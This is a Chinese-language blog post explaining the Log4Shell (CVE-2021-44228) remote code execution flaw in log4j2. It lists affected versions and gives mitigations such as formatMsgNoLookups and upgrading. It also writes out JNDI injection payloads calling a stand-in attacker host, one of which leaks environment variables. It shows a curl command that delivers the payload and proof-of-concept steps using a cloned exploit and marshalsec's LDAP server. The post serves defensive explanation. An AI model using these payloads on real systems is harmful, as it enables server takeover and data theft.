影响整个Java世界:log4j2日志包中发现RCE 0day漏洞 - lunasec

21-12-10 banq

几个小时前,在流行的 Java 日志库log4j中发现了一个 0day漏洞(绰号 Log4Shell 或 LogJam或 log4j2rce,详见:CVE-2021-44228),该漏洞通过记录某个字符串导致远程代码执行 (RCE)。

鉴于log4j2库非常流行,漏洞会被利用完全控制你的服务器,实现挖矿等无法想象的后果。这个 log4j 漏洞非常严重, 该漏洞在 CVSS 评级系统中的得分为 10 分,满分是10分,表明问题的严重性。数以百万计的应用程序使用 Log4j 进行日志记录,攻击者所需要做的就是让应用程序记录一个特殊的字符串,当启用消息查找替换时,攻击者可以执行从LDAP服务器加载的任意代码。

到目前为止,iCloud、Steam 和 Minecraft 都已确认存在漏洞。

这篇文章提供了资源来帮助您了解漏洞以及如何自行缓解。

  

漏洞原理

程序员以为log4j2这样日志框架只会将消息视为数据并处理基本格式。但是,Log4j 2.0 添加了lookups,包括 JNDI 查找。这些 JNDI 查找不受限制,从而导致漏洞。

Java命名和目录接口(JNDI)是一个目录服务,它允许您使用LDAP或DNS到接口的Java API来查找数据和资源。不幸的是,可以返回的数据类型之一是指向Java类的URI——如果您加载了一个不受信任的 Java 类,那么您就会在不知不觉中执行其他人的代码。

例如:在系统的登录Login页面中,需要输入用户名和密码,这时只要将$ {jndi: ldap: //attacker.com/a}作为用户名输入,Log4j 引擎将 ${...} 解释为模板,并尝试检索指定ldap后的URL处的 Java 文件。然后执行此 Java 文件,从而允许攻击者完全控制服务器。Log4J 格式是可嵌套的,这意味着像 ${jndi:ldap://${env:user}.xyz.collab.com/a} 这样会泄漏服务器端环境变量。

更详细:假设你有下面一段代码,代码中使用了log4j作为日志输出:

@getMapping("/")
public String index(@RequestHeader("User-Agent") String browserName) {
  logger.info("Received a request for API version " + browserName);
  return "Hello, world!";
}

攻击者只要调用:

curl 127.0.0.1:8080 -H 'User-Agent: ${jndi:ldap://攻击者IP:1389/a}'

你的程序将会调用攻击者IP的远程URL,这个URL会提供一个“恶意”类,其中包含一些他们希望在你应用中运行的代码。

深入原理见这篇文章

CVE-2021-44228(Apache Log4j 远程代码执行)攻击演示源码

git clone https://github.com/tangxiaofeng7/apache-log4j-poc.git
cd apache-log4j-poc/src/main/java
javac Exploit.java 
python -m SimpleHTTPServer 8888 

攻击运行:

cd tools
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/Exploit"

你会看到你本地的计算器被无故调用了。

其他:

 

测试自己是否受到影响?

可以通过https://canarytokens.org,选择下拉列表最后一行:Log4Shell;

输入你的邮箱,获得:

${jndi:ldap://XXX.canarytokens.com/a}

然后,按照前面所述,将这ldap格式字符串作为你的系统的参数传入,模拟攻击。

如果系统发生了XXX.canarytokens.com任何 DNS查询,将有一封报警信发送到你的邮件,说明你的系统存在有此漏洞威胁。

 

谁受到影响?

许多服务都容易受到这种攻击。Steam、Apple iCloud等云服务和 Minecraft 等应用程序已被发现存在漏洞。

任何使用 Apache Struts 的人都可能受到攻击。我们曾在2017 年 Equifax 数据泄露等违规事件中看到类似的漏洞被利用。

这篇博文中讨论了针对 Apache Tomcat 服务器上存在的org.apache.naming.factory.BeanFactory类的攻击 。

远远不止上述,几乎所有java世界都受到影响。

 

受此影响Apache的log4j的版本

  1. 2.0 <= Apache log4j <= 2.14.1
  2. JVM 版本 - 如果低于:
    • Java 6 – 6u212
    • Java 7 – 7u202
    • Java 8 – 8u192
    • Java 11 - 11.0.2

如果上述两个条件都为真,几乎肯定会受到影响;注意还有一种观点(见文后)认为这个漏洞与Java版本无关。

 

解决方法:

  • 设置环境变量:log4j2.formatMsgNoLookups设置为true

方法:

>export JAVA_TOOL_OPTIONS=-Dlog4j2.formatMsgNoLookups=true
>cat Verify.java
  public class Verify {
    public static void main(String args) {
      System.out.println(System.getProperty("log4j2.formatMsgNoLookups"));
   }
}
>java Verify.java
Picked up JAVA_TOOL_OPTIONS: -Dlog4j2.formatMsgNoLookups=true

上述代码临时编写了一个Verify.java用来确证环境变量修改已经生效。

为什么不用JAVA_OPTS?因为 JAVA_OPTS 不是由 JVM 自动获取的。它由 shell/bat 脚本传递,然后您必须知道在哪里编辑这些脚本以确保传递 JAVA_OPTS。

  • 或更新到log4j-2.15.0或更高版本启动您的服务器:

    <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.15.0 </version>
        </dependency>

        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.15.0</version>
        </dependency>

        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-1.2-api</artifactId>
            <version>2.15.0</version>
        </dependency>

使用Maven的排除exclusions语法防止log4j 1.x加载:

 <dependency>
            <groupId>org.apache.struts</groupId>
            <artifactId>struts-taglib</artifactId>
            <version>1.3.8</version>
            <exclusions>
                <exclusion>
                    <groupId>log4j</groupId>
                    <artifactId>log4j</artifactId>
                </exclusion>
            </exclusions>
        </dependency>

其他建议:

  • 注意上述办法仅适用于 2.10到2.14.1之间版本;但是更旧版本还是仍然容易受到攻击
  • log4j 支持任何配置的环境变量。在这种情况下,您将设置 LOG4J_FORMAT_MSG_NO_LOOKUPS=true关闭JNDI查找
  • 关于检查集群的所有 pod kubectl get pods -o name | xargs -I{} kubectl exec -it {} -- env | grep JAVA_TOOL_OPTIONS
  • 以色列网络安全公司 Cyber​​eason 还发布了一个名为“ Logout4Shell ”的修复程序。

 

此漏洞影响面非常广泛,从《我的世界》到整个Java世界都需要升级,下面链接是演示这种漏洞的攻击演示,从苹果官网到腾讯:

https://github.com/YfryTchsGD/Log4jAttackSurface

 

深入分析

log4j2漏洞源码

PSA:Log4Shell 和 JNDI 注入的当前状态

在默认安装中,JNDI 支持两种“有趣”的协议:RMI 和 LDAP。

  • 从 Java 8u121 开始,RMI(但不是 LDAP)默认不再允许远程代码库
  • LDAP 名称仍然允许直接远程执行代码。这种“疏忽”后来才在 Java 8u191 中作为 CVE-2018-3149 解决

在 Java 8u191 之前,存在从受控 JNDI 查找到任意代码的远程类加载的直接路径。该 Java 版本大约有 3 年历史。

结论:不要依赖当前的 Java 版本来拯救你:更新 Log4J(或删除 JNDI 查找)。

5
猜你喜欢